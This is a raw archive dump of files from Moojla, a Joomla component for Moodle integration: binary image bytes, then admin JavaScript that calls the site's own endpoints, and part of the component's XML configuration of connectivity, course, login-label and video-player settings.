@��[]�]M�K�q~��sMsد`�h�e��E��y\��Z�c}>���<..f���m/W���j�:�l��l#�/��fٮ7y�,W���]�6d��b�6�ni*\��<Z�^ۿ���ʲ�q��:����&�߸�m���ع���e��:fe��&��:��2滧Q/�m/bgsq�J����:S�ޭ׻gK��6����D<
@� @�
@�~�?Y˚�se�ig�,򼌼ZD����ydu�OD�/���5�o�V��]�:�n�������b֮�b�h��㽦�8H�L�Bn�ZSA��	ڝ
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
˘5'IDAT@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��qU!@� @� @� @�
@����&>�	 @� @� @� @�
@`��D�!��IEND�B`�assets/index.html000064400000000054151165724360010054
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>assets/js/admin.js000064400000010512151165724360010121
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		admin.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* JS Document */

/***[JCBGUI.joomla_component.javascript.29.$$$$]***/
jQuery(document).ready(function($){
  adsfield = $('#jform_additional_data_source');
  p = adsfield.parent();
  p.append('<button class="btn btn-small"
type="button" id="setuesrmap"><span>Set User
maps</span></button>');

  $('#setuesrmap').click(function(e) {
    var ads = $('#jform_additional_data_source').val();
    question = 'Do you want to apply these settings? Note that all of
user field mapping have been deleted after this process and you can\'t
rollback this process';
    if(ads == 'cb') {
      question += '\nIn This option:\n\"Fistname\" and
"Lastname" Mappings will be add to \"User fields
map\"!';
    }
    else if(ads == 'jf')
    {
      question += '\nIn This option:\n Name in joomla maps to concat
of firstname and lastname of moodle';
    }
    question += '\nother user maping must add manualy';
    if (confirm(question)) {
      var token = Joomla.optionsStorage['csrf.token'];

      $.ajax({
        url: '/administrator/index.php?option=com_moojla',
        method: 'post',
        dataType: 'json',
        data: {[token] : '1',
task:'ajax.addMapperRows', format: 'json' , raw:
'true' , ads: ads},
        success: function (msg) {
          // Joomla.submitbutton('config.save.component.apply');
          Joomla.JText.load({custom_alert: "Notice"});
          Joomla.renderMessages({'custom_alert': ['Old
Mappings removed from "User fields map"']});
          if(ads == 'cb') {
            // Joomla.JText.load({success: "Success"});
            // Joomla.renderMessages({'success':
['"Fistname" and "Lastname" Mappings added to
"User fields map"!']});
          }
          else if(ads == 'jf')
          {
            // Joomla.JText.load({custom_alert: "Notice"});
            // Joomla.renderMessages({'custom_alert': ['In
this option (Joomla fields) name in joomla maps to concat of firstname and
lastname of moodle']});
          }
          Joomla.submitbutton('config.save.component.apply');
        },
        error: function(err) {
        }
      });
    } else {
    }
    //event.preventDefault();
  });

  prefix = 'jform_params_quiz_'; // our naming convension for
input fields in plugin that gets quizzes ids is -> quiz_###quiztype###
  // other convension is this field must be custom type and this code
snippet should be added in its php area:
  // code snippet:
  // $document = JFactory::getDocument();
  //
$document->addScript('components/com_moojla/assets/js/admin.js');

  quizzes = $(`select[id^=${prefix}]`);
  if(quizzes[0]) {
    quiz_type = quizzes[0].id.substr(prefix.length);

    // console.log(quizzes);
    p = quizzes.parent();
    p.append(`<button class="btn btn-small"
type="button"
id="fetch${quiz_type}attempts"><span>Fetch
attempts</span></button>`);
    $(`#fetch${quiz_type}attempts`).click(function(e) {
      var quizids = quizzes.val();
      // console.log(quizids);
      $.ajax({
        url:
'/administrator/index.php?option=com_moojla&view=courses',
        method: 'post',
        dataType: 'json',
        data: {task:'courses.fetchQuizAttempts', quizzes_list:
quizids, quizType: quiz_type},
        success: function (msg) {
          // console.log('success');
          // console.log(msg);
        }
      });
    });
  }
});/***[/JCBGUI$$$$]***/
assets/js/healthcheck.js000064400000003262151165724360011300
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		healthcheck.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* JS Document */

/***[JCBGUI.custom_admin_view.javascript_file.1.$$$$]***/
function showMore(elmid, btn) {
  lis = jQuery('#' + elmid + ' li:hidden').slice(0,
5);
  lis.show();
  remains = jQuery('#' + elmid + ' li:hidden');
  if (remains === null) {
    btn.hide();
  }
  else
  {
    if(remains.length == 0)
      btn.hide();
  }
}

function jpluginAction(elm, type){
  jQuery.ajax({
    url:
'/administrator/index.php?option=com_moojla&view=healthcheck&task=healthcheck.jpluginActionTask&elm='
+ elm + '&type='+type,
    context: document.body
  }).done(function(e) {
    console.log(e);
  })
  Joomla.submitbutton();
}/***[/JCBGUI$$$$]***/
assets/js/index.html000064400000000054151165724360010470
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>config.xml000064400000113224151165724360006550
0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		addrulepath="/administrator/components/com_moojla/models/rules"
		addfieldpath="/administrator/components/com_moojla/models/fields"
		name="global_config"
		label="COM_MOOJLA_CONFIG_GLOBAL_LABEL"
		description="COM_MOOJLA_CONFIG_GLOBAL_DESC">
		<field
			name="check_in"
			type="list"
			default="0"
			label="COM_MOOJLA_CONFIG_CHECK_TIMER_LABEL"
			description="COM_MOOJLA_CONFIG_CHECK_TIMER_DESC">
			<option
				value="-5
hours">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_ONE</option>
			<option
				value="-12
hours">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_TWO</option>
			<option
				value="-1
day">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_THREE</option>
			<option
				value="-2
day">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_FOUR</option>
			<option
				value="-1
week">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_FIVE</option>
			<option
				value="0">COM_MOOJLA_CONFIG_CHECK_TIMER_OPTION_SIX</option>
		</field>
		<field type="spacer" name="spacerAuthor"
hr="true" />
		<field
			name="save_history"
			type="radio"
			class="btn-group btn-group-yesno"
			default="1"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="history_limit"
			type="text"
			filter="integer"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			default="10"
		/>
		<field type="spacer" name="spacerHistory"
hr="true" />
		<field name="autorTitle"
			type="spacer"
			label="COM_MOOJLA_CONFIG_AUTHOR"
		/>
		<field name="autorName"
			type="text"
			label="COM_MOOJLA_CONFIG_AUTHOR_NAME_LABEL"
			description="COM_MOOJLA_CONFIG_AUTHOR_NAME_DESC"
			size="60"
			default="Lmskaran"
			readonly="true"
			class="readonly"
		/>
		<field name="autorEmail"
			type="email"
			label="COM_MOOJLA_CONFIG_AUTHOR_EMAIL_LABEL"
			description="COM_MOOJLA_CONFIG_AUTHOR_EMAIL_DESC"
			size="60"
			default="info@Lmskaran.com"
			readonly="true"
			class="readonly"
		/>
	</fieldset>
	<fieldset
		name="group_config"
		label="COM_MOOJLA_CONFIG_GROUPS_LABEL"
		description="COM_MOOJLA_CONFIG_GROUPS_DESC">
		<field name="staffusers"
			type="usergroup"
			label="COM_MOOJLA_JOOMLA_USER_GROUP"
			description="COM_MOOJLA_CONFIG_TARGET_GROUP_DESC"
			multiple="true"
		/>
	</fieldset>
	<fieldset
		name="connectivity_custom_config"
		label="COM_MOOJLA_CONFIG_CONNECTIVITY">

		<!--  Moodle_url Field. Type: Text. (joomla) -->
	<field type="text"
               name="moodle_url"
               label="COM_MOOJLA_CONFIG_MOODLE_URL_LABEL"
               size="50"
               maxlength="50"
               default=""
              
description="COM_MOOJLA_CONFIG_MOODLE_URL_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="true"
               filter="STRING"
               validate="url"
               message="COM_MOOJLA_CONFIG_MOODLE_URL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_MOODLE_URL_HINT"
               autocomplete="on" />
		<!--  Joomla_token Field. Type: Text. (joomla) -->
	<field type="text"
               name="joomla_token"
               label="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_LABEL"
               size="50"
               maxlength="50"
               default=""
              
description="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="true"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_MESSAGE"
               hint="COM_MOOJLA_CONFIG_JOOMLA_TOKEN_HINT"
               autocomplete="on" />
		<!--  Moodle_token Field. Type: Text. (joomla) -->
	<field type="text"
               name="moodle_token"
               label="COM_MOOJLA_CONFIG_MOODLE_TOKEN_LABEL"
               size="50"
               maxlength="50"
               default=""
              
description="COM_MOOJLA_CONFIG_MOODLE_TOKEN_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="true"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_MOODLE_TOKEN_MESSAGE"
               hint="COM_MOOJLA_CONFIG_MOODLE_TOKEN_HINT"
               autocomplete="on" />
		<!--  Moodle_cookie_path Field. Type: Text. (joomla) -->
	<field type="text"
               name="moodle_cookie_path"
               label="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_LABEL"
               size="50"
               maxlength="50"
               default=""
              
description="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="true"
               filter="STRING"
              
message="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_MESSAGE"
               hint="COM_MOOJLA_CONFIG_MOODLE_COOKIE_PATH_HINT"
               autocomplete="on" />
	</fieldset>
	<fieldset
		name="course_custom_config"
		label="COM_MOOJLA_CONFIG_COURSE">

		<!--  Course_detail_ws Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="course_detail_ws"
               label="COM_MOOJLA_CONFIG_COURSE_DETAIL_WS_LABEL"
              
description="COM_MOOJLA_CONFIG_COURSE_DETAIL_WS_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Fetch_course_contents Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="fetch_course_contents"
              
label="COM_MOOJLA_CONFIG_FETCH_COURSE_CONTENTS_LABEL"
              
description="COM_MOOJLA_CONFIG_FETCH_COURSE_CONTENTS_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Showenrolled Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="showenrolled"
               label="COM_MOOJLA_CONFIG_SHOWENROLLED_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOWENROLLED_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false"
               showon="course_detail_ws:1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Show_label_contents Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="show_label_contents"
              
label="COM_MOOJLA_CONFIG_SHOW_LABEL_CONTENTS_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOW_LABEL_CONTENTS_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Pagetype Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="pagetype"
               label="COM_MOOJLA_CONFIG_PAGETYPE_LABEL"
              
description="COM_MOOJLA_CONFIG_PAGETYPE_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_LINK</option>
                <option
value="0">COM_MOOJLA_CONFIG_POPUP</option>
        </field>
		<!--  Cert_download Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="cert_download"
               label="COM_MOOJLA_CONFIG_CERT_DOWNLOAD_LABEL"
              
description="COM_MOOJLA_CONFIG_CERT_DOWNLOAD_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Oncoursedeleted Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="oncoursedeleted"
               label="COM_MOOJLA_CONFIG_ONCOURSEDELETED_LABEL"
              
description="COM_MOOJLA_CONFIG_ONCOURSEDELETED_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_UNPUBLISH</option>
                <option
value="0">COM_MOOJLA_CONFIG_DELETE</option>
        </field>
		<!--  Course_templatestyle Field. Type: Mycustomtemplatestyle.
(custom) -->
	<field type="mycustomtemplatestyle"
               name="course_templatestyle"
              
label="COM_MOOJLA_CONFIG_COURSE_TEMPLATESTYLE_LABEL"
              
description="COM_MOOJLA_CONFIG_COURSE_TEMPLATESTYLE_DESCRIPTION"
              
message="COM_MOOJLA_CONFIG_COURSE_TEMPLATESTYLE_MESSAGE"
               class="list_class"
               multiple="false"
               default="0"
               button="false" />
		<!--  Course_detail_layout Field. Type: Filelist. (joomla) -->
	<field type="filelist"
               name="course_detail_layout"
              
label="COM_MOOJLA_CONFIG_COURSE_DETAIL_LAYOUT_LABEL"
              
directory="components/com_moojla/views/coursedetail/tmpl/"
               default=""
              
description="COM_MOOJLA_CONFIG_COURSE_DETAIL_LAYOUT_DESCRIPTION"
               filter="^[^_]*\.php$"
               hide_none="ture"
               hide_default="true" />
		<!--  Showdebug Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="showdebug"
               label="COM_MOOJLA_CONFIG_SHOWDEBUG_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOWDEBUG_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Favorite Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="favorite"
               label="COM_MOOJLA_CONFIG_FAVORITE_LABEL"
              
description="COM_MOOJLA_CONFIG_FAVORITE_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Rating Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="rating"
               label="COM_MOOJLA_CONFIG_RATING_LABEL"
               description="COM_MOOJLA_CONFIG_RATING_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Averagerate Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="averagerate"
               label="COM_MOOJLA_CONFIG_AVERAGERATE_LABEL"
              
description="COM_MOOJLA_CONFIG_AVERAGERATE_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0"
               readonly="false"
               disabled="false"
               showon="rating:1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
	</fieldset>
	<fieldset
		name="moodle_access_custom_config"
		label="COM_MOOJLA_CONFIG_MOODLE_ACCESS">

		<!--  Availabilityinfolink Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="availabilityinfolink"
              
label="COM_MOOJLA_CONFIG_AVAILABILITYINFOLINK_LABEL"
              
description="COM_MOOJLA_CONFIG_AVAILABILITYINFOLINK_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_ENABLE</option>
                <option
value="0">COM_MOOJLA_CONFIG_DISABLE</option>
        </field>
		<!--  Sp_one Field. Type: Spacer. A None Database Field. (joomla)
-->
	<field type="spacer"
               name="sp_one"
               label="COM_MOOJLA_CONFIG_SP_ONE_LABEL"
               description="COM_MOOJLA_CONFIG_SP_ONE_DESCRIPTION"
               class="sp_one" />
		<!--  Cangotomoodle Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="cangotomoodle"
               label="COM_MOOJLA_CONFIG_CANGOTOMOODLE_LABEL"
              
description="COM_MOOJLA_CONFIG_CANGOTOMOODLE_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Redirect_after_enrol Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="redirect_after_enrol"
              
label="COM_MOOJLA_CONFIG_REDIRECT_AFTER_ENROL_LABEL"
              
description="COM_MOOJLA_CONFIG_REDIRECT_AFTER_ENROL_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Popupbutton Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="popupbutton"
               label="COM_MOOJLA_CONFIG_POPUPBUTTON_LABEL"
              
description="COM_MOOJLA_CONFIG_POPUPBUTTON_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               readonly="false"
               disabled="false">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Showlogintab Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="showlogintab"
               label="COM_MOOJLA_CONFIG_SHOWLOGINTAB_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOWLOGINTAB_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               showon="popupbutton:1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Loginurl Field. Type: Text. (joomla) -->
	<field type="text"
               name="loginurl"
               label="COM_MOOJLA_CONFIG_LOGINURL_LABEL"
               size="256"
               maxlength="256"
              
default="index.php?option=com_users&amp;task=login&amp;tmpl=component"
              
description="COM_MOOJLA_CONFIG_LOGINURL_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="false"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_LOGINURL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_LOGINURL_HINT"
               autocomplete="on"
               showon="showlogintab:1" />
		<!--  Showregtab Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="showregtab"
               label="COM_MOOJLA_CONFIG_SHOWREGTAB_LABEL"
              
description="COM_MOOJLA_CONFIG_SHOWREGTAB_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1"
               showon="popupbutton:1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Registrationurl Field. Type: Text. (joomla) -->
	<field type="text"
               name="registrationurl"
               label="COM_MOOJLA_CONFIG_REGISTRATIONURL_LABEL"
               size="256"
               maxlength="256"
              
default="index.php?option=com_users&amp;view=registration&amp;tmpl=component"
              
description="COM_MOOJLA_CONFIG_REGISTRATIONURL_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="false"
               filter="STRING"
              
message="COM_MOOJLA_CONFIG_REGISTRATIONURL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_REGISTRATIONURL_HINT"
               autocomplete="on"
               showon="showregtab:1" />
		<!--  Alterurl Field. Type: Text. (joomla) -->
	<field type="text"
               name="alterurl"
               label="COM_MOOJLA_CONFIG_ALTERURL_LABEL"
               size="256"
               maxlength="256"
               default=""
              
description="COM_MOOJLA_CONFIG_ALTERURL_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="false"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_ALTERURL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_ALTERURL_HINT"
               autocomplete="on"
               showon="popupbutton:0" />
		<!--  Loginlbl Field. Type: Text. (joomla) -->
	<field type="text"
               name="loginlbl"
               label="COM_MOOJLA_CONFIG_LOGINLBL_LABEL"
               size="20"
               maxlength="50"
               default="Login"
              
description="COM_MOOJLA_CONFIG_LOGINLBL_DESCRIPTION"
               class="text_area"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_LOGINLBL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_LOGINLBL_HINT"
               autocomplete="off" />
		<!--  Enterlbl Field. Type: Text. (joomla) -->
	<field type="text"
               name="enterlbl"
               label="COM_MOOJLA_CONFIG_ENTERLBL_LABEL"
               size="20"
               maxlength="50"
               default="Enter"
              
description="COM_MOOJLA_CONFIG_ENTERLBL_DESCRIPTION"
               class="text_area"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_ENTERLBL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_ENTERLBL_HINT"
               autocomplete="off" />
		<!--  Freeenterlbl Field. Type: Text. (joomla) -->
	<field type="text"
               name="freeenterlbl"
               label="COM_MOOJLA_CONFIG_FREEENTERLBL_LABEL"
               size="20"
               maxlength="50"
               default="Enter (free)"
              
description="COM_MOOJLA_CONFIG_FREEENTERLBL_DESCRIPTION"
               class="text_area"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_FREEENTERLBL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_FREEENTERLBL_HINT"
               autocomplete="off" />
		<!--  Buylbl Field. Type: Text. (joomla) -->
	<field type="text"
               name="buylbl"
               label="COM_MOOJLA_CONFIG_BUYLBL_LABEL"
               size="20"
               maxlength="50"
               default="Buy"
               description="COM_MOOJLA_CONFIG_BUYLBL_DESCRIPTION"
               class="text_area"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_BUYLBL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_BUYLBL_HINT"
               autocomplete="off" />
		<!--  Enrollbl Field. Type: Text. (joomla) -->
	<field type="text"
               name="enrollbl"
               label="COM_MOOJLA_CONFIG_ENROLLBL_LABEL"
               size="20"
               maxlength="50"
               default="Enroll"
              
description="COM_MOOJLA_CONFIG_ENROLLBL_DESCRIPTION"
               class="text_area"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_ENROLLBL_MESSAGE"
               hint="COM_MOOJLA_CONFIG_ENROLLBL_HINT"
               autocomplete="off" />
	</fieldset>
	<fieldset
		name="player_custom_config"
		label="COM_MOOJLA_CONFIG_PLAYER">

		<!--  Videospacer Field. Type: Spacer. A None Database Field. (joomla)
-->
	<field type="spacer"
               name="videospacer"
               label="COM_MOOJLA_CONFIG_VIDEOSPACER_LABEL"
              
description="COM_MOOJLA_CONFIG_VIDEOSPACER_DESCRIPTION"
               class="videospacer" />
		<!--  Videotype Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="videotype"
               label="COM_MOOJLA_CONFIG_VIDEOTYPE_LABEL"
              
description="COM_MOOJLA_CONFIG_VIDEOTYPE_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="1">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_MODAL</option>
                <option
value="2">COM_MOOJLA_CONFIG_EMBED</option>
                <option
value="3">COM_MOOJLA_CONFIG_SCROLL_TO_TOP</option>
        </field>
		<!--  Videowidth Field. Type: Text. (joomla) -->
	<field type="text"
               name="videowidth"
               label="COM_MOOJLA_CONFIG_VIDEOWIDTH_LABEL"
               size="50"
               maxlength="50"
               default="100%"
              
description="COM_MOOJLA_CONFIG_VIDEOWIDTH_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="false"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_VIDEOWIDTH_MESSAGE"
               hint="COM_MOOJLA_CONFIG_VIDEOWIDTH_HINT"
               autocomplete="on"
               showon="videotype:3" />
		<!--  Videoheight Field. Type: Text. (joomla) -->
	<field type="text"
               name="videoheight"
               label="COM_MOOJLA_CONFIG_VIDEOHEIGHT_LABEL"
               size="50"
               maxlength="50"
               default="100%"
              
description="COM_MOOJLA_CONFIG_VIDEOHEIGHT_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="false"
               filter="STRING"
               message="COM_MOOJLA_CONFIG_VIDEOHEIGHT_MESSAGE"
               hint="COM_MOOJLA_CONFIG_VIDEOHEIGHT_HINT"
               autocomplete="on"
               showon="videotype:3" />
		<!--  Preventdownload Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="preventdownload"
               label="COM_MOOJLA_CONFIG_PREVENTDOWNLOAD_LABEL"
              
description="COM_MOOJLA_CONFIG_PREVENTDOWNLOAD_DESCRIPTION"
               class="btn-group btn-group-yesno"
               default="0">
                <!-- Option Set.-->
                <option
value="1">COM_MOOJLA_CONFIG_YES</option>
                <option
value="0">COM_MOOJLA_CONFIG_NO</option>
        </field>
		<!--  Addcontrols Field. Type: Radio. (joomla) -->
	<field type="radio"
               name="addcontrols"
